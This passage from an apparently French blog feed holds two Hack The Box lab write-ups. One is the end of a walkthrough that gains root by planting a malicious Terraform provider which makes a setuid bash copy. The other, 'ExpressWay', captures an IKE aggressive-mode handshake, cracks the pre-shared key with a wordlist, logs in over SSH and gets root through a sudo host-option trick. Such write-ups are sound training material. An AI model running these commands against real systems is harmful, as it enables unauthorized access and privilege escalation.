systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
jeremy:x:1000:1000:,,,:/home/jeremy:/bin/bash
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

jeremy@previous:~$ ls
docker  local-exec  pwnprov  user.txt

jeremy@previous:~$ cat user.txt
flag{************************************}

jeremy@previous:~$ python3
Python 3.10.12 (main, May 27 2025, 17:12:29) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> exit
Use exit() or Ctrl-D (i.e. EOF) to exit
>>> exit()

J’ai vérifié que Python était présent et fonctionnel. Ça peut servir…

Privileges Escalation

jeremy@previous:/home$ find / -user root -perm -4000 -print 2>/dev/null
/tmp/rootbash
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1

jeremy@previous:/opt/examples$ ls -la ~/pwnprov/terraform-provider-examples/
ls: cannot access '/home/jeremy/pwnprov/terraform-provider-examples/': Not a directory

jeremy@previous:/opt/examples$ cd ~
mkdir -p fake-provider
cd fake-provider
cat > fake-provider << 'EOF'
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
EOF
chmod +x fake-provider

jeremy@previous:~/fake-provider$ ls
fake-provider

jeremy@previous:~/fake-provider$ chmod +x fake-provider

jeremy@previous:~/fake-provider$ ls
fake-provider

jeremy@previous:~/fake-provider$ mv fake-provider terraform-provider-null_v3.1.1_x5

jeremy@previous:~/fake-provider$ ls
terraform-provider-null_v3.1.1_x5

jeremy@previous:~/fake-provider$ cd ~
cat > .terraformrc << 'EOF'
provider_installation {
  dev_overrides {
    "hashicorp/null" = "/home/jeremy/fake-provider"
  }
  direct {
    exclude = ["hashicorp/null"]
  }
}
EOF

jeremy@previous:~$ ls
docker  fake-provider  file_to_write  local-exec  pwnprov  user.txt

jeremy@previous:~$ export TF_CLI_CONFIG_FILE=~/.terraformrc
export TF_IN_AUTOMATION=true
export TF_INPUT=false

jeremy@previous:~$ cd /opt/examples
sudo /usr/bin/terraform -chdir=/opt/examples apply -auto-approve
Sorry, user jeremy is not allowed to execute '/usr/bin/terraform -chdir=/opt/examples apply -auto-approve' as root on previous.

jeremy@previous:/opt/examples$ ls -l /tmp/rootbash
-rwsr-xr-x 1 root root 1396520 Sep 25 20:34 /tmp/rootbash

jeremy@previous:/opt/examples$ /tmp/rootbash -p
rootbash-5.1#

rootbash-5.1# whoami
root

rootbash-5.1# cat /root/root.txt
flag{********************************}

Pour avoir les permissions root, j’ai exploité la mauvaise configuration de Sudo et la surcharge des providers de Terraform via un fichier de configuration.

Conclusion

Cette machine HTB, m’a permis de me familiariser un peu plus, avec les failles web, type Local File Include.

Et c’était plutôt sympa.

Merci d’avoir lu mon writeup.

]]><![CDATA[ExpressWay HTB]]>https://fr3nch4writeups.hashnode.dev/expressway-htbhttps://fr3nch4writeups.hashnode.dev/expressway-htbSun, 02 Nov 2025 16:50:16 GMTReconnaissance

TCP scan

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -O 10.10.11.87
Starting Nmap 7.95 ( [https://nmap.org](https://nmap.org/) ) at 2025-10-11 17:47 EDT
Nmap scan report for 10.10.11.87
Host is up (0.093s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at [https://nmap.org/submit/](https://nmap.org/submit/) .
Nmap done: 1 IP address (1 host up) scanned in 8.11 seconds

UDP scan

┌──(kali㉿kali)-[~/udpx]
└─$ ./udpx -t 10.10.11.87
    __  ______  ____ _  __
   / / / / __ \\/ __ \\ |/ /
  / / / / / / / /_/ /   /
 / /_/ / /_/ / ____/   |
 \\____/_____/_/   /_/|_|
     v1.0.7, by @nullt3r

2025/10/11 17:45:48 [+] Starting UDP scan on 1 target(s)
2025/10/11 17:46:01 [*] 10.10.11.87:500 (ike)
2025/10/11 17:46:11 [+] Scan completed

┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sU -sV -T3 --top-ports 25  10.10.11.87
Starting Nmap 7.95 ( [https://nmap.org](https://nmap.org/) ) at 2025-10-11 17:42 EDT
Nmap scan report for 10.10.11.87
Host is up (0.18s latency).

PORT      STATE         SERVICE      VERSION
53/udp    closed        domain
67/udp    closed        dhcps
68/udp    open|filtered dhcpc
69/udp    open          tftp         Netkit tftpd or atftpd
111/udp   closed        rpcbind
123/udp   closed        ntp
135/udp   closed        msrpc
137/udp   closed        netbios-ns
138/udp   closed        netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   closed        snmptrap
445/udp   closed        microsoft-ds
500/udp   open          isakmp?
514/udp   closed        syslog
520/udp   closed        route
631/udp   closed        ipp
998/udp   closed        puparp
1434/udp  closed        ms-sql-m
1701/udp  closed        L2TP
1900/udp  closed        upnp
4500/udp  open|filtered nat-t-ike
5353/udp  closed        zeroconf
49152/udp closed        unknown
49154/udp closed        unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at [https://nmap.org/cgi-bin/submit.cgi?new-service](https://nmap.org/cgi-bin/submit.cgi?new-service) :
SF-Port500-UDP:V=7.95%I=7%D=10/11%Time=68EACF88%P=x86_64-pc-linux-gnu%r(IK
SF:E_MAIN_MODE,70,"\0\x11\"3DUfw\x12\xa0F3\xfaf\x1d\x8b\x01\x10\x02\0\0\0\
SF:0\0\0\0\0p\r\0\x004\0\0\0\x01\0\0\0\x01\0\0\0\(\x01\x01\0\x01\0\0\0\x20
SF:\x01\x01\0\0\x80\x01\0\x05\x80\x02\0\x02\x80\x04\0\x02\x80\x03\0\x01\x8
SF:0\x0b\0\x01\x80\x0c\0\x01\r\0\0\x0c\t\0&\x89\xdf\xd6\xb7\x12\0\0\0\x14\
SF:xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\0")%r(IPSEC_START,9C,"1
SF:'\xfc\xb08\x10\x9e\x89\xb1\xf5\xb9\x95\xe2\xf2\xfd\xa4\x01\x10\x02\0\0\
SF:0\0\0\0\0\0\x9c\r\0\x004\0\0\0\x01\0\0\0\x01\0\0\0\(\x01\x01\0\x01\0\0\
SF:0\x20\x01\x01\0\0\x80\x01\0\x05\x80\x02\0\x02\x80\x04\0\x02\x80\x03\0\x
SF:03\x80\x0b\0\x01\x80\x0c\x0e\x10\r\0\0\x0c\t\0&\x89\xdf\xd6\xb7\x12\r\0
SF:\0\x14\xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\0\r\0\0\x18@H\xb
SF:7\xd5n\xbc\xe8\x85%\xe7\xde\x7f\0\xd6\xc2\xd3\x80\0\0\0\0\0\0\x14\x90\x
SF:cb\x80\x91>\xbbin\x08c\x81\xb5\xecB{\x1f");

Service detection performed. Please report any incorrect results at [https://nmap.org/submit/](https://nmap.org/submit/) .
Nmap done: 1 IP address (1 host up) scanned in 143.11 seconds

Exploitation

J’ai eu du mal à trouver un point faible, à cause des ports, peu commun.
J’ai découvert l’outil UDPx de [https://github.com/nullt3r](https://github.com/nullt3r) .

Le scan UDP a attiré mon attention, sur le port 500, utilisé par le protocole IKE (Internet Key Exchange).

Il sert à automatiser, les échanges de clés de cryptage.

┌──(kali㉿kali)-[~]
└─$ ike-scan -M -v 10.10.11.87
DEBUG: pkt len=336 bytes, bandwidth=56000 bps, int=52000 us
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87     Main Mode Handshake returned
HDR=(CKY-R=36cd9c4ac1578c6a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.120 seconds (8.33 hosts/sec).  1 returned handshake; 0 returned notify

Donc j’ai utilisé l’outil Kali, “ike-scan” .

Lequel m’a permis d’obtenir un HandShake.

Handshake

┌──(kali㉿kali)-[~]
└─$ ike-scan -A --pskcrack 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87     Aggressive Mode Handshake returned HDR=(CKY-R=ae17a846e87c0adf) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
d075f9b37866807d3a29afe19076d12e1396d527edf3f034bcf3b5a39963fc04fbef14d197b9280e669ed581249
a477ab7e6074a0bbe69662c027c3caf3f8a2b575da257fb8d2886274a8632a1e970ebdeebe5f9059b2816f0f9df
f67a9bd266b488a0afe2b653445cf4eff46865eb79284edcd73ac1516a58bd185ad41480ee:f2b93dbd71df0d22
96fe63d734e87e82c9eb78614f04c6dbc35788e6418181775d8146ab308ad9a2bb5e28c436314756ad4a51b8b01
a91a5f0a92c88cf5ac6739158b3d58610c5b9ba21f8e8ddda233928920470cc55655c7ee1d4ca840720c9c68a45
ae2c3d1138129a18679266e9268c20585183599afdf7e2186b52aeacf4:ae17a846e87c0adf:42529b36e51a177
9:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b00010
00c000400007080030000240201000080010005800200018003000180040002800b0001000c0004000070800300
00240301000080010001800200028003000180040002800b0001000c00040000708000000024040100008001000
1800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687
462:d4cb080e953462da3b4feb77129d881e8d152aaf:3330922eacabf780a0aeb61b2299ebfa47ff72cc96c962
cc71715106ce3b3d13:6145867692f60a5810bee530b281fd79a59dccb1
Ending ike-scan 1.9.6: 1 hosts scanned in 0.197 seconds (5.08 hosts/sec).  1 returned handshake; 0 returned notify

Déchiffrement du Handshake

┌──(kali㉿kali)-[~/Documents/htb/ExpressWay]
└─$ ls
expressway.txt  psk.hash

┌──(kali㉿kali)-[~/Documents/htb/ExpressWay]
└─$ psk-crack -d /usr/share/wordlists/rockyou.txt psk.hash
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash 6145867692f60a5810bee530b281fd79a59dccb1
Ending psk-crack: 8045040 iterations in 5.034 seconds (1598196.84 iterations/sec)

Connection SSH

Maintenant que j’ai obtenu le mot de passe, je peux tenter la connexion sur le protocole SSH.

┌──(kali㉿kali)-[~/Documents/htb/ExpressWay]
└─$ ssh [ike@10.10.11.87ike@10.10.11.87](mailto:ike@10.10.11.87)'s password:
Last login: Sat Oct 11 22:37:08 BST 2025 from 10.10.14.171 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Oct 11 23:05:54 2025 from 10.10.15.91
ike@expressway:~$ whoami
ike
ike@expressway:~$ ls
user.txt
ike@expressway:~$ cat user.txt
flag{**************************}

Élévation des Privilèges

Le user “ike” est dans le ‘groupe ike’ mais aussi dans celui de ‘proxy’.

Le ‘proxy group’, a les autorisations pour accéder, au contenu du fichier “access.log”.

ike@expressway:/$ id
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)
ike@expressway:/$ ls -la /var/log/squid/
total 28
drwxr-xr-x  2 proxy proxy 4096 Sep 16 16:02 .
drwxr-xr-x 12 root  root  4096 Oct 11 23:03 ..
-rw-r-----  1 proxy proxy 4778 Jul 23 01:19 access.log.1
-rw-r-----  1 proxy proxy   20 Jul 22 19:32 access.log.2.gz
-rw-r-----  1 proxy proxy 2192 Jul 23 01:47 cache.log.1
-rw-r-----  1 proxy proxy  941 Jul 23 01:47 cache.log.2.gz

 [offramp.expressway.htb](http://offramp.expressway.htb/)

Dans le fichier de journaux, il y avait cette URL, qui était un indice pour la suite. Du fait de son emplacement inhabituel.
Il fallait donc s’en servir, pour élever les permissions de l’utilisateur.

ike@expressway:/$ cat /var/log/squid/access.log.1 | grep offramp
1753229688.902      0 192.168.68.50 TCP_DENIED/403 3807 GET [http://offramp.expressway.htb](http://offramp.expressway.htb/) - HIER_NONE/- text/html
ike@expressway:/$ /usr/local/bin/sudo -h offramp.expressway.htb /bin/bash
root@expressway:/# ls
bin   etc         initrd.img.old  lost+found  opt   run   sys  var
boot  home        lib             media       proc  sbin  tmp  vmlinuz
dev   initrd.img  lib64           mnt         root  srv   usr  vmlinuz.old
root@expressway:/# cd root
root@expressway:~# ls
root.txt
root@expressway:~# cat root.txt
flag{******************************}

Conclusion

Ce CTF a été assez rapide, une fois que j’ai trouvé la manière de scanner efficacement la cible.

Pour le reste, il fallait suivre les indices, et détails bizarres. Puis creuser dnas ce sens.

Durant ce CTF, j’ai découvert le protocole IKE, et les outils de hacking associés à lui.

Pour la partie privilège, je n’ai pas innové mais utilisé, les techniques d’autres personnes.

N’ayant pas encore les connaissances suffisantes pour comprendre des sytèmes d’exploitation.
Il y a tellement à apprendre.

Merci d’avoir lu cette note.

Fin.

]]>